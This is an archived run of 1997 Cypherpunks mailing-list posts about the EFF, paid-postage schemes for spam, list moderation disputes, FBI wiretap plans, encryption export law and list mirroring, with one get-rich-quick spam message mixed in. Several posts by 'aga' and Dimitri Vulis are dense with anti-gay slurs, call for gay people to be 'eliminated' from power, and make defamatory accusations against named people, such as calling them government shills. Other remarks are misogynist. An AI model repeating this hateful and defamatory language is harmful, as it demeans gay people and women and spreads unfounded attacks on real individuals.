(Timothy C. May) Date: Sat, 15 Feb 1997 00:41:13 -0800 (PST) Subject: The EFF Message-ID: <199702150841.AAA07718@toad.com> At 9:36 AM -0800 2/14/97, Declan McCullagh wrote: >As for the "rift," may observers said at the time that DT was a Jerry >Berman "appeasement and capitulation" scheme. Note Berman no longer works >at EFF. Note EFF is no lnoger in DC. > >And yes, I've read Tim May's essay on his EFF membership. I probably would >have had the same reaction. > It might be a useful minor footnote for me to say that I did end up renewing for a later year (though I kept getting mail as "Tim Mat"). I was semi-persuaded that they'd learned their lesson. I stopped paying attention to them a while back, though, and haven't considered renewing. They just came to seem to be irrelevant as a "membership driven" organization. (There were reportedly only about 2000 individual members as of not too long ago, and the EFF does little recruiting for new individual members. They are definitely not following the NRA or AARP models.) Their legal work support has been very nice, of course. As for Berman, he put on the "SAFE" forum, which I thought was very well done. So, he redeemed himself, for me. (I don't really understand personally whether the Digital Telephony (CALEA, Computer Assistance for Law Enforcement) thing is Just Bad, or Really Bad, or Even Worse, or Inconceivably Evil. No one seems to know what is expected for Internet telephony providers, for example, or whether DT/CALEA could be used to shut down remailers, as some of us fear. If DT/CALEA turns out to be Really Bad, or Even Worse, I'll have to put Berman back on my list of less desirable folks. :-}) --Tim May Just say "No" to "Big Brother Inside" We got computers, we're tapping phone lines, I know that that ain't allowed. ---------:---------:---------:---------:---------:---------:---------:---- Timothy C. May | Crypto Anarchy: encryption, digital money, tcmay at got.net 408-728-0152 | anonymous networks, digital pseudonyms, zero W.A.S.T.E.: Corralitos, CA | knowledge, reputations, information markets, Higher Power: 2^1398269 | black markets, collapse of governments. "National borders aren't even speed bumps on the information superhighway." From ichudov at algebra.com Sat Feb 15 00:42:49 1997 From: ichudov at algebra.com (ichudov at algebra.com) Date: Sat, 15 Feb 1997 00:42:49 -0800 (PST) Subject: Excerpt on SPAM from Edupage, 11 February 1997 Message-ID: <199702150842.AAA07768@toad.com> snow wrote: > > Igor said: > > I can suggest a scheme where a fee would be attached to the message, > > and the recipient would be able to get the money only after having > > read and understood the message. > > > > For example, you might receive the following message (it could be encrypted > > by your public key to preserve the cash from the MITM): > > > do get them to read) will have a very high response rate. That may > > justify adding postage to their letters. > > > > The advantages are obvious. The disadvantage is a possibility of someone > > stealing the money on the way, if the letters are not encrypted. > > That would be great. Sit home all day and hit web pages for a living. > Well, they will stop sending you money if they find out that you do not buy their products. - Igor. From froomkin at law.miami.edu Sat Feb 15 00:42:51 1997 From: froomkin at law.miami.edu (Michael Froomkin - U.Miami School of Law) Date: Sat, 15 Feb 1997 00:42:51 -0800 (PST) Subject: Good Bye Cypherpunks! Message-ID: <199702150842.AAA07769@toad.com> Yes, I get spam too. But it's still less than the spam directed at an old account on another machine, that posted regularly to usenet until about 3 years ago! And hasn't been used at all since... On Fri, 14 Feb 1997, Adam Shostack wrote: > Date: Fri, 14 Feb 1997 18:38:24 -0500 (EST) > From: Adam Shostack > To: "Michael Froomkin - U.Miami School of Law" > Cc: shamrock at netcom.com, tcmay at got.net, cypherpunks at toad.com > Subject: Re: Good Bye Cypherpunks! > > Michael Froomkin - U.Miami School of Law wrote: > | Just for the record. I will not post to USENET given the spamming that > | seems to go to IDs that appear there. > > Your postings appear on the web, as part of the cypherpunks > archives at infinity.nus.sg. > > http://infinity.nus.sg/cypherpunks/current/0089.html > > There seem to be robots that search the web; I've never even > read usenet from this account, and I get spam. > > Adam > > > -- > "It is seldom that liberty of any kind is lost all at once." > -Hume > > == The above may have been dictated via Dragon Dictate 2.52 voice recognition. Please be alert for unintentional word substitutions. A. Michael Froomkin | +1 (305) 284-4285; +1 (305) 284-6506 (fax) Associate Professor of Law | U. Miami School of Law | froomkin at law.miami.edu P.O. Box 248087 | http://www.law.miami.edu/~froomkin Coral Gables, FL 33124 USA | It's warm here. From ichudov at algebra.com Sat Feb 15 00:43:23 1997 From: ichudov at algebra.com (ichudov at algebra.com) Date: Sat, 15 Feb 1997 00:43:23 -0800 (PST) Subject: Excerpt on SPAM from Edupage, 11 February 1997 Message-ID: <199702150843.AAA07793@toad.com> jim bell wrote: > At 02:05 AM 2/14/97 -0600, snow wrote: > >Pete: > >> Yes, but why does monetary compensation make it then O.K.? I'd rather > >> pay for my Internet access, then be bombarded by spam, no matter what > >> they paid me! I think the best soln. is the one that is currently in > >> place for phone calls - they can call once, but if I tell them not to > >> call me again and they do, I can then begin legal action against them. > >> I pay more per month for my phone service than my Internet service ( > >> although in NY, *everything* is more expensive. ), and junk phone calls > >> are way more intrusive then spam. > > > > I figure if this scheme comes to fruition, I'll just set up a seperate > >account (or procmail) to filter out the spam, deposit the coin, and go on > >about my business. > > > That's fine...that's EXACTLY the way the system would work! Intentionally > so! The purpose of the payment is not because the sender feels some sort of > legal obligation to pay; rather it's analogous to a tip to a waiter. > > The sender makes the payment based on however much he _wants_ you to pay > attention to his message, but fully aware that there is no guarantee that > you'll do so. I can suggest a scheme where a fee would be attached to the message, and the recipient would be able to get the money only after having read and understood the message. For example, you might receive the following message (it could be encrypted by your public key to preserve the cash from the MITM): To: jimbell at pacifier.com From: spammer at dm1.com (Direct Marketing, by way of telysis.com) Subject: an encrypted cyberdollar for you X-Encrypted-Postage: 0891281229qwqoifoweihjrfiohsdlifhsluire82374029849 weuiyruiy3478ye874t23876459823y4897y5897y23849y589 39847578r3498yt893y75t9843y75t897y4385t9y74897gy77 X-Encryption-Key: in the message body Dear Jim, Here's one cyberdollar for you. It is "locked" by an encryption key. The cybercoin is encrypted by an IDEA key and you can find out the key by reading the message below: @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ Valentines' day presents at www.cheap-stuff.com! An ideal Valentine's day present for your significant other, at a reduced cost for you! You can buy your loved one a thousand used condoms (mint condition) at a reduced rate of ONLY $5.95! Visit us at http://www.cheap-stuff.com/cgi-bin/condoms/key.cgi?name=jimbell to get your postage! @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ The encryption key is located at the URL above. ########################################################################### My opinion on this: I personally feel that this scheme is the way to go for spammers. Obviously, it is possible to build mail readers that would verify some kind of trusted signature on the attached postage, and would highlight all such messages. The meaning of signature is "these people are not crooks, there really is an encrypted dollar there". Clearly, spammers who pay their readers to read their messages (and who do get them to read) will have a very high response rate. That may justify adding postage to their letters. The advantages are obvious. The disadvantage is a possibility of someone stealing the money on the way, if the letters are not encrypted. - Igor. From christensen at usa.net Sat Feb 15 02:05:29 1997 From: christensen at usa.net (christensen at usa.net) Date: Sat, 15 Feb 1997 02:05:29 -0800 (PST) Subject: $10,000 in 45 days - not MLM! Message-ID: <199702151004.DAA26022@postoffice.usa.net> Hello,^Morons, $10,000 in 45 days! When I first read that provocative headline I thought "Oh yeah!" Now, why do you think I'd be so skeptical? Well, if you've been involved in any other "opportunities" you'd know that the hype mostly exceeds the reality. No one could have been more surprised than me, when I actually proved the truth of that headline. Yes, I did make over $10,000 in 45 days! I'm not saying this to boast, but to tell you that it really is possible... If you'd like to know HOW, then just point your browser to: http://www.cyberius.com/CG/122/ or, simply call and listen to a short message at: 1-800-995-0796 x4347 And keep my ID for reference.... Regards, Kirt Christensen Investors International #CG122 From dave at kachina.jetcafe.org Sat Feb 15 02:20:44 1997 From: dave at kachina.jetcafe.org (Dave Hayes) Date: Sat, 15 Feb 1997 02:20:44 -0800 (PST) Subject: Dissolving Choke Points Message-ID: <199702151020.CAA03178@kachina.jetcafe.org> So you write: >Many good authors have already left the list and *nothing* will get them >back. Are you implying that any given mailing list should be controlled by the best authors? ------ Dave Hayes - Altadena CA, USA - dave at jetcafe.org Freedom Knight of Usenet - http://www.jetcafe.org/~dave/usenet Excuses are the tools with which those with no purpose in view build for themselves great monuments of nothing. From dave at kachina.jetcafe.org Sat Feb 15 02:58:29 1997 From: dave at kachina.jetcafe.org (Dave Hayes) Date: Sat, 15 Feb 1997 02:58:29 -0800 (PST) Subject: Moderation experiment almost over; "put up or shut up" Message-ID: <199702151058.CAA03241@kachina.jetcafe.org> Against Moderation writes: > Perhaps I did not make myself clear. I never suggested Dr. Grubor's > views should be suppressed. Not only do I believe he has every right > to express them, I also believe (as I explained) that I think there is > value in inducing censorship as he has, so as to get people's > censorious tendencies out in the open where they can be fought. If you know this, then I fail to understand your arguments with him? > However, Dr. Grubor is no advocate of free speech (though I'm sure he > thinks he is). If Dr. Grubor had his way, he would severely restrict > the rights of gay people to express themselves on Usenet. Advocates > of free speech must truly tolerate all speech, even that which they > find strongly unpleasant or disturbing. I'm still not sure you are understanding as you claim you are. Look at what he says. Ask yourself if he supports freedom. If you think he does not, then for -you- he does not. If you want to know the real man, take him to dinner. > My point was therefore that Dr. Grubor would do better to say > "Exterminate all faggots" than "Exterminate all faggots in the name of > free speech," and that those of us who truly support freedom of speech > would do well to distance ourselves from Dr. Grubor, while still fully > supporting his right to express his opinions. Nonsense. I claim that those of us who truly support freedom of speech must -embrace- Dr. Grubor as a respected man of great skill, for he can show us just how free any mailing list or newsgroup truly is. ------ Dave Hayes - Altadena CA, USA - dave at jetcafe.org Freedom Knight of Usenet - http://www.jetcafe.org/~dave/usenet A great deal of intelligence can be invested in ignorance when the need for illusion is deep From EALLENSMITH at ocelot.Rutgers.EDU Sat Feb 15 04:26:32 1997 From: EALLENSMITH at ocelot.Rutgers.EDU (E. Allen Smith) Date: Sat, 15 Feb 1997 04:26:32 -0800 (PST) Subject: Fuck UseNet (fwd) Message-ID: <01IFFQFTMO9A8Y4WUC@mbcl.rutgers.edu> From: IN%"ravage at EINSTEIN.ssz.com" "Jim Choate" 15-FEB-1997 07:11:54.43 >Perhaps in addition to the X-foo structures we have discussed already we >might consider adding, >X-distrib-policy: foo >Where foo might be, > Public Domain > All rights reserved, contact author for redistribution > Distribution for non-commercial uses permitted > Refer to authors header > Copyleft > etc. >or whatever the policy might be for a given remailer. This would >significantly aid folks in their shopping around. The basic difficulty with this idea is that _senders_ generally don't have much of a choice where the messages go, once you've decided to accept them. In other words, just because you've decided to accept a message doesn't mean it suddenly becomes copyleft/public domain/whatever. Now, if you, say, announced that only subscribers to your particular list, subscribers to any other lists adopting the same idea, and those who'd sign a consent agreement could post through your list, that wouldn't be a problem... although I suspect you wouldn't get many subscribers. -Allen From aga at dhp.com Sat Feb 15 04:36:25 1997 From: aga at dhp.com (aga) Date: Sat, 15 Feb 1997 04:36:25 -0800 (PST) Subject: Dave Hayes takes over Cypherpunks In-Reply-To: Message-ID: On Fri, 14 Feb 1997, Dr.Dimitri Vulis KOTM wrote: > Date: Fri, 14 Feb 97 22:30:27 EST > From: "Dr.Dimitri Vulis KOTM" > Reply-To: freedom-knights at jetcafe.org > To: cypherpunks at toad.com, freedom-knights at jetcafe.org > Subject: Re: Dave Hayes takes over Cypherpunks > > Toto writes: > > > aga wrote: > > > How about that we require everybody to state their sex and sexual > > > orientation in the future, so we have no future problems. > > > I am a "Male Heterosexual" -- what about the rest of you? > > > If you refuse to answer, you are presumed to be a gay boy who > > > is hiding it. > > > > I am a "Male, Cross-Dressing Heterosexual." > > I'm a male heterosexual. > > Cocksucker John Gilmore is a faggot. So is his boss Bobby Inman from NSA. Now wait a minute. You mean the National Security Agency? If so, then Inman is probably not a faggot. The military runs that and they do not take faggots. NSA is where I got my Top Secret Crypto clearance from back in 1967. Back then, all "crypto" involved was the changing of about 28 wires each day in the old KL-7. I remember the G2 government investigator asking me if I had ever had any homosexual relationships. Homosexuals are taboo as far as clearances are concerned, because they are considered to be "at risk" characters from the get-go. > John Gilmore is a U.S.Government shill out to suck resources into > fruitless flame war and to sabotage our efforts to deploy crypto. > "shill?" -- shit, I am going to have to get my dictionary out. > What about Timmy May and Eric Hughes? Are they faggots in U.S.G. > employ or mere mindless dupes? > If these guys are faggots, they must not be working for the U.S. Govt. Federal policy does not grant Top Secret or above clearances to homosexuals, I do believe. At least the military doesn't. But the question here is, are they really faggots? Let's see how they answer that. And remember, under our new protocol, if you do not answer and say you are heterosexual, you are a -default- faggot. I want to hear what Peter Berger says. From boursy at earthlink.net Sat Feb 15 04:56:23 1997 From: boursy at earthlink.net (ISP_Ratings) Date: Sat, 15 Feb 1997 04:56:23 -0800 (PST) Subject: Moderation experiment almost over; "put up or shut up" In-Reply-To: <199702150605.AAA13070@manifold.algebra.com> Message-ID: <3305B356.7069@earthlink.net> Igor Chudov @ home wrote: > > Some say, in fact, that Internet and USENET have been created by > Dr. Grubor. > > - Igor. Yes this is true--Dr. Grubor is the founder of all of CyberSpace (tm). Steve From aga at dhp.com Sat Feb 15 04:57:03 1997 From: aga at dhp.com (aga) Date: Sat, 15 Feb 1997 04:57:03 -0800 (PST) Subject: Why faggots need eliminated from power In-Reply-To: <19970215060243.25796.qmail@anon.lcs.mit.edu> Message-ID: On 15 Feb 1997, Against Moderation wrote: > Date: 15 Feb 1997 06:02:43 -0000 > From: Against Moderation > Reply-To: freedom-knights at jetcafe.org > To: freedom-knights at jetcafe.org > Cc: cypherpunks at toad.com, ichudov at algebra.com, dlv at bwalk.dm.com > Subject: Re: Moderation experiment almost over; "put up or shut up" > > aga writes: > > > > > ... Remember the previous cypherpunk who stated that the > > > > gays "created and run usenet." > > ... > > It was on the list last month, and the person was serious and correct. > > That is exactly why we must now kill all of usenet as it stands, for > > a new heterosexual beginning. > > > > ... We are here to > > "rip new assholes" in the faggots who have ruined the net thus far, > > and to take over and make this net heterosexual oriented. > > So if I follow your argument, gays created and run usenet, and have > also ruined it thus far. Right, like O'Donnel or whatever his name is. The faggot at AOL. Can you just clarify a few points? I'm > trying to follow your premise here [which I don't necessarily > believe], and it seems contradictory. > > * If gays ruined usenet, does that mean at one point usenet was a > good thing before it was ruined? It may have been; but that was at least more than 5 years ago. Usenet has been ruined ever since David Lawrence took over from Spafford. They took over because they knew how to program in UNIX, big deal. The world has now all changed. If so, gay people at least > deserve credit for creating something good, even if they didn't > manage to run it well. O.K. fine, but the current system is broken, and that includes David Lawrence and Chris Lewis and the INN conspiracy forged by Dave Barr and his little boy partner Tim Skirvin, as well as the BOFH assholes Peter da Silva and P.J. Falk. And the crazy cabal.cunt Windigo Ferral has been running all over making spurious complaints to all kinds of postmasters, and the assholes just go on and on...... This is all based upon some homosexuals having positions of power where they should not. It is an admirable goal to kill the current usenet. > > * If Usenet was created and ruined by terrible people, what exactly > is your interest in it? It is public property and we are the public. The public majority is heterosexual, and the ruling alpha male must also be same. > Why don't you just create an alternate > news network. You can easily do this using software these gay > people have so graciously given you the source for, and then you > could be the authority over the entire heterosexual news > hierarchy. > Nobody has given me anything. I invent the tools that we need to kill the current system. The mother of all tools is the lawsuit, but it is to be used only when necessary. > * If people you consider gay can't hold any position of authority on > the internet, why do you acknowledge their authority by trying to > fight them in particular? "can't" means should not, and Peter Berger is an example of a faggot who needs eliminated from his job. He is a dangerous and censorous person, and a very queer faggot. Just an example of the many queers that need removed. I mean, what authority do these gay > people have over a gay, ruined usenet that's so important you need > to rip new assholes in them? > "ripping a new asshole" is just a phrase from the streets. It has nothing to do with actual anuses or copulation whatsoever. > I just don't understand whom you are fighting over what and why. > The cabal.UUNET.BOFH.faggots Why? Because I am a heterosexual alpha male, and it needs done. Faggots are VERY pink, and Dobbs does not like faggots. From boursy at earthlink.net Sat Feb 15 04:59:41 1997 From: boursy at earthlink.net (ISP_Ratings) Date: Sat, 15 Feb 1997 04:59:41 -0800 (PST) Subject: Moderation experiment almost over; "put up or shut up" In-Reply-To: <199702151058.CAA03241@kachina.jetcafe.org> Message-ID: <3305B40E.3641@earthlink.net> Dave Hayes wrote: > > Against Moderation writes: > >> My point was therefore that Dr. Grubor would do better to say >> "Exterminate all faggots" than "Exterminate all faggots in the name of >> free speech," and that those of us who truly support freedom of speech >> would do well to distance ourselves from Dr. Grubor, while still fully >> supporting his right to express his opinions. > > > Nonsense. I claim that those of us who truly support freedom of speech > must -embrace- Dr. Grubor as a respected man of great skill, for he > can show us just how free any mailing list or newsgroup truly is. That sums it up very well--Dr. Grubor is the very best at bringing the vermon out of the woodwork. Steve > ------ > Dave Hayes - Altadena CA, USA - dave at jetcafe.org > Freedom Knight of Usenet - http://www.jetcafe.org/~dave/usenet > > A great deal of intelligence can be invested in ignorance > when the need for illusion is deep From whgiii at amaranth.com Sat Feb 15 05:19:05 1997 From: whgiii at amaranth.com (William H. Geiger III) Date: Sat, 15 Feb 1997 05:19:05 -0800 (PST) Subject: [Declan McCullagh: "A List Goes Down In Flames," from Netly] In-Reply-To: Message-ID: <199702150726.HAA04553@mailhub.amaranth.com> -----BEGIN PGP SIGNED MESSAGE----- In , on 02/14/97 at 12:31 PM, Martin Minow said: >My first reaction to the "Death of Cypherpunks" (Declan McCullagh's article in >http://netlynews.com Feb 12, 1997) is that it is another example of "The >Tragedy of the Commons." -- the (unsolvable) problem of unlimited access to a >limited resource. Cypherpunks was also >susceptable to the strange Internet phenomenon where people could be proud of >their anti-social, bad behavior (flame wars, "grafitti" in the form of spam). >For this reason, I suspect that the future of the Internet in general, and >Cyphperpunks in particular, will require serious editorial control (as is done >by the Risks and Privacy digests). >The only other alternative I can see would be to limit membership >-- but not limit what members might write. In the long term, I suppose we'll >have sufficiently intelligent software agents that can recognize spam and >flaming and invisibly delete them from our e-mail in-boxes. I compleetly dissagree with you. The "Death of Cypherpunks" was not caused limited resources, or by spam, or by the posts of the "good doctor". It was killed by two factors. The first was the winning and sinviling crowd that was just too dam lazy to filter their mail. With some very basic filtering the majority of the noise could be removed from the list. There were a group of list members that were unwilling to take the small amount of effort required to do this. They are the same type of people who wine and cry that the governmnet should regulate this or regulate that all too willing to give up a "little" freedom for promisises of extra "security". As if this was not bad enough they typically demanded that everyone else give up a "little" freedom along with them so they could have there extra "security". The second and and even more deadly factor in the demise of the list was that John & Sandy listened to these sheep. If there was such a great demand for a censored cypherpunks list then they should have created a new censored list. Those who wanted the services of Sandy to censor the list would have been free to switch while leaving the main list intact. Instead the list was censored and a cypherpunks-flams & a cypherpunks-unsensored lists were created. These list were created with the promise that anything that did not make it onto the main list would be placed onto the flames list. Well the inevitable happened a message was posted that Sandy felt he could not forward to the flames list. All this brew-ha-ha could have been avoided if Sandy had just posted a message to the flame list stating that Dimitri had posted some crap that he could not or would not repost to the flames list. No one would have faulted him for it as all but the newest of list members know Dimitri. Instead threats of lawsuits were addressed to anyone who even mentioned Dimitri's accusations. This blatent act of censorship by Sandy and supported by John is what has brought cypherpunks to where it is right now. Rather irronic that leaders of the fight against "censorship" would use such tactics when it suits their needs. >What bothers me more than anything else about the "solutions" I've seen >proposed to the death of Cypherpunks is that they rely on technology -- and >reject human judgement -- to solve what is, in reality, a social problem. (One >can certainly make the same argument about the V-chip, browser porn filters, >and similar hacks.) What bothers me more than anything is how false "problems" are created so "solutions" can be implemented. Censorship of the list was NEVER needed. Censorship of TV is not needed (ala V-chip). Censorship of cryptology is not needed (via ITAR). Censorship is NEVER needed nor warented. Period. - -- - ----------------------------------------------------------- William H. Geiger III http://www.amaranth.com/~whgiii Geiger Consulting Cooking With Warp 4.0 Author of E-Secure - PGP Front End for MR/2 Ice PGP & MR/2 the only way for secure e-mail. Finger whgiii at amaranth.com for PGP Key and other info - ----------------------------------------------------------- Tag-O-Matic: Bugs come in through open Windows. -----BEGIN PGP SIGNATURE----- Version: 2.6.2 Comment: Registered User E-Secure v1.1 0000000 iQCVAwUBMwW7ro9Co1n+aLhhAQHIpQP/QTE6N5KpQoWvdC+mbzodR9th4GKOXjfh RO1gyOElBP42S6VOUkyk1inNAf39l3Zux3z4LG1Eq5PDheXQAtME2d8+niWInpf0 8AOxwO+o6taw/YToXAOCfr29c9ciCUDsjP7fe702x6JcGfSlcjnfyfL5pNXa226A uw3FsD+jgFM= =pb3t -----END PGP SIGNATURE----- From jya at pipeline.com Sat Feb 15 06:10:23 1997 From: jya at pipeline.com (John Young) Date: Sat, 15 Feb 1997 06:10:23 -0800 (PST) Subject: FBI_100 Message-ID: <1.5.4.32.19970215140414.006bbd64@pop.pipeline.com> 2-15-97. NYP: "Phone Companies Balk At Latest Plan by FBI." Markoff. Telcos are arguing that the new system will be far more intrusive and expensive than industry first thought, and would expand LEA wiretap capabilities 100-fold. "This is kind of scary. What does the FBI know about our future that we don't?" ----- FBI_100 ---------- See the FBI's latest wiretap plan at: http://jya.com/fbi011497.txt From dlv at bwalk.dm.com Sat Feb 15 06:14:50 1997 From: dlv at bwalk.dm.com (Dr.Dimitri Vulis KOTM) Date: Sat, 15 Feb 1997 06:14:50 -0800 (PST) Subject: In-Reply-To: <199702150841.AAA07706@toad.com> Message-ID: "Michael Froomkin - U.Miami School of Law" writes: > [cc list trimmed!] > > On Fri, 14 Feb 1997 paul at fatmans.demon.co.uk wrote: > > > > > > Is it legal or illegal to send a > > > PGP encrypted message from the US to someone in another country? > > > > Yes. > > Rubbish. It is perfectly legal. See generally > http://www.law.miami.edu/~froomkin/articles/clipper.htm I remember teaching in my computer security class how in 1944 the congress passed an act making it illegal to send encrypted messages fro m the U.S. to abroad via snail mail, radio, etc; it covers the not yet invented communications too (like computer networks) and is on the books in U.S.Code somewhere. No further laws need to be passed for the fuckers to start enforcing it. > PS. His sexist comments are rubbish too. I usually like his crypto posts, > however, as long as they are technical rather than legal... Paul's sexist comments are very interesting - I hope to find more time to comment on them too. I don't know if they have the same kind of "affirmative action" in the U.K. that they have in the U.S. - here if you find a woman in the position of authority, there's a good chance that she was promoted ahead of more qualified men to meet some quota, and is therefore incompetent. Remember how Klintoris (spit, spit) was determined to have a female attorney general 4 years ago, and went through a slew of female candidates, rejecting the best qualified ones like Kimba Wood, because she did what every working mother in this country does - hired a babysitter for cash - and finally appointed the bull dyke murdreress? No wonder the most ignorant shysters on this forum, like Jim Ray (spit) come from Florida. Did he take classes with Froomkin? :-) --- Dr.Dimitri Vulis KOTM Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps From dlv at bwalk.dm.com Sat Feb 15 06:14:56 1997 From: dlv at bwalk.dm.com (Dr.Dimitri Vulis KOTM) Date: Sat, 15 Feb 1997 06:14:56 -0800 (PST) Subject: Moderation experiment almost over; "put up or shut up" In-Reply-To: <19970215060243.25796.qmail@anon.lcs.mit.edu> Message-ID: <51662D33w165w@bwalk.dm.com> Against Moderation writes: > aga writes: > > > > > ... Remember the previous cypherpunk who stated that the > > > > gays "created and run usenet." > > ... > > It was on the list last month, and the person was serious and correct. > > That is exactly why we must now kill all of usenet as it stands, for > > a new heterosexual beginning. > > > > ... We are here to > > "rip new assholes" in the faggots who have ruined the net thus far, > > and to take over and make this net heterosexual oriented. > > So if I follow your argument, gays created and run usenet, and have Not true. Homos created Fidonet. Tom Jenkins was one. Normal people created Usenet. (That is, some of the people who created Usenet may well have been sexually attracted to people of the same sex in real life - I don't have a problem with that - but none of them were "Usenet faggots" who tried to suppress free speech). Now the homos, who ruined Fidonet through censorship and UDP-like wars, are trying to take over Usenet with the same disasterous results. > also ruined it thus far. Can you just clarify a few points? I'm > trying to follow your premise here [which I don't necessarily > believe], and it seems contradictory. > > * If gays ruined usenet, does that mean at one point usenet was a > good thing before it was ruined? If so, gay people at least > deserve credit for creating something good, even if they didn't > manage to run it well. Suppose for argument's sake that the people who created Usenet all happened to be gay. Why would "gay people" as a whole, most of whom had nothing to do with it, deserve credit for it? > * If Usenet was created and ruined by terrible people, what exactly > is your interest in it? Why don't you just create an alternate > news network. You can easily do this using software these gay > people have so graciously given you the source for, and then you > could be the authority over the entire heterosexual news > hierarchy. We were here first. I've been on Usenet for > 10 years, before most of the scum that's trying to ruin it now. Besides, the homos will try to ruin any alternative forum they think is used by their "enemies". Look how they've been flooding the freedom-knights mailing list with shit. > * If people you consider gay can't hold any position of authority on > the internet, why do you acknowledge their authority by trying to > fight them in particular? I mean, what authority do these gay > people have over a gay, ruined usenet that's so important you need > to rip new assholes in them? > > I just don't understand whom you are fighting over what and why. Good question. I'm fighting against _actions that suppress speech - such as complaints to postmasters that result in plug-pulling; or forged cancels. If false complaints were universally ignored - cancels junked, postmaster complaints junked, as they should be, then these actions would be just speech, therefore not worthy of suppression. I don't want the homos to be silenced, merely rendered impotent to silence others. From ichudov at algebra.com Sat Feb 15 07:20:07 1997 From: ichudov at algebra.com (Igor Chudov @ home) Date: Sat, 15 Feb 1997 07:20:07 -0800 (PST) Subject: Switching to full traffic mode Message-ID: <199702151516.JAA16655@manifold.algebra.com> I would like to warn and ask subscribers of cypherpunks at algebra.com. We are going ot get full feel from Lance Cottrell and cypherpunks-unedited at toad.com. We will filter messages by Message-ID to get rid of duplicates. It means that there is no sense (unless you want to confirm my integrity as the list host) to be subscribed to any of the other lists, as you will be getting multiple copies of messages. If you are afraid of that and use Unix, the following procmail recipe gets rid of duplicates: # # This recipe removes duplicates! # :0 Wh: msgid.lock | formail -D 32768 msgid.cache I am somwehat concerned by the behavior of my majordomo which is very paranoid about incoming messages: it rejects all messages that it THINKS are attempts to suscribe and unsuscribe. In this rejection, it is sometimes too broad. I do not know how to solve this problem. ATTENTION: if you want to get a feed from me, PLEASE send me a note and do not simply subscribe your mailing list to cypherpunks at algebra.com. It is because I want to send you the messages before my majordomo rewrites headers. - Igor. From ghio at temp0019.myriad.ml.org Sat Feb 15 07:23:45 1997 From: ghio at temp0019.myriad.ml.org (Matthew Ghio) Date: Sat, 15 Feb 1997 07:23:45 -0800 (PST) Subject: Cypherpunks afraid of spam? In-Reply-To: <199702142356.PAA18079@toad.com> Message-ID: <199702151521.KAA23910@myriad.alias.net> aaron at herringn.com wrote: > [Fairly prominent Cypherpunk I'll decline to name- I don't mean to ridicule > him personally, just his (distressingly common) attitude] > > >Just for the record. I will not post to USENET given the spamming that > >seems to go to IDs that appear there. > > [chuckle] > > Just add an anti-spam segment to your email address. > > example: > > jsmith[at]foo.com > > Most people worth talking to have enough of a clue to replace [at] with @. Actually, I have a completely valid email address in this post (for now). If it gets spammed I will just delete the DNS record. (or maybe point it back at the spammer. :) And I'm sure we all know how to use remailers... From rah at shipwright.com Sat Feb 15 07:28:00 1997 From: rah at shipwright.com (Robert Hettinga) Date: Sat, 15 Feb 1997 07:28:00 -0800 (PST) Subject: Mirrors and replies-to Message-ID: Well, so far, I've got three cypherpunks mailboxes. One for sirius, one for algebra, and one for toad. It was interesting to me that I got stuff from the mirrors faster than toad until I remembered that the mirrors are wired to the unmoderated list at toad, and I'm still subscribed to the moderated list there. However, I would like it if the mirror operators would reinstantiate a feature of the original list for me. The reply-to field on the mirrors is currently set to cypherpunks at toad.com. On the original list, this was set to "sender", both to keep people from replying to the list unnecessarily (hah! :-)) but also to keep mail loops from forming. Mail loops could be a big problem, especially when you guys put together your neo-netnews mailring. (a little jyaism, that... :-)). Cheers, Bob Hettinga ----------------- Robert Hettinga (rah at shipwright.com), Philodox e$, 44 Farquhar Street, Boston, MA 02131 USA "Never attribute to conspiracy what can be explained by stupidity." -- Jerry Pournelle The e$ Home Page: http://www.shipwright.com/rah/ FC97: Anguilla, anyone? http://www.ai/fc97/ From dlv at bwalk.dm.com Sat Feb 15 07:33:09 1997 From: dlv at bwalk.dm.com (Dr.Dimitri Vulis KOTM) Date: Sat, 15 Feb 1997 07:33:09 -0800 (PST) Subject: Dave Hayes takes over Cypherpunks In-Reply-To: Message-ID: aga writes: > On Fri, 14 Feb 1997, Dr.Dimitri Vulis KOTM wrote: > > > Date: Fri, 14 Feb 97 22:30:27 EST > > From: "Dr.Dimitri Vulis KOTM" > > Reply-To: freedom-knights at jetcafe.org > > To: cypherpunks at toad.com, freedom-knights at jetcafe.org > > Subject: Re: Dave Hayes takes over Cypherpunks > > > > Toto writes: > > > > > aga wrote: > > > > How about that we require everybody to state their sex and sexual > > > > orientation in the future, so we have no future problems. > > > > I am a "Male Heterosexual" -- what about the rest of you? > > > > If you refuse to answer, you are presumed to be a gay boy who > > > > is hiding it. > > > > > > I am a "Male, Cross-Dressing Heterosexual." > > > > I'm a male heterosexual. > > > > Cocksucker John Gilmore is a faggot. So is his boss Bobby Inman from NSA. > > Now wait a minute. You mean the National Security Agency? > If so, then Inman is probably not a faggot. The military runs > that and they do not take faggots. NSA is where I got my Top > Secret Crypto clearance from back in 1967. Back then, all "crypto" > involved was the changing of about 28 wires each day in the old KL-7. > > I remember the G2 government investigator asking me if I had ever had > any homosexual relationships. Homosexuals are taboo as far as > clearances are concerned, because they are considered to be "at risk" > characters from the get-go. For what it's worth, the NSA, the CIA, and the State Department are will of faggots. Being a faggot and sucking the right cocks is a way to advance one's career at the NSA. Everyone knew Bobby was a faggot and everybody he hired was a faggot too. > > John Gilmore is a U.S.Government shill out to suck resources into > > fruitless flame war and to sabotage our efforts to deploy crypto. > > "shill?" -- shit, I am going to have to get my dictionary out. Gilmore's job is to suck us into wasting time on debates over Gilmore's dishonorable actions instead of working on worthwhile projects like my spambot or reviving the anon server. Gilmore is an "agent-provocateur". Gilmore proposes useless projects like S/Wan and misguided people waste their time and effort instead of deploying crypto. > > What about Timmy May and Eric Hughes? Are they faggots in U.S.G. > > employ or mere mindless dupes? > > If these guys are faggots, they must not be working for the U.S. Govt. > Federal policy does not grant Top Secret or above clearances to > homosexuals, I do believe. At least the military doesn't. The NSA is full of faggots. Also the CIA and the State Departments use faggots to fuck and suck foreign diplomats. The whole Klintoris administration is full of faggots. > But the question here is, are they really faggots? > > Let's see how they answer that. And remember, under our new protocol, > if you do not answer and say you are heterosexual, you are a -default- > faggot. I want to hear what Peter Berger says. I'd like to know too. Eric Hughes doesn't look like a faggot, but looks can be deceiving. And we already know that Peter Berger is a faggot because he suppresses free speech on Usenet. --- Dr.Dimitri Vulis KOTM Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 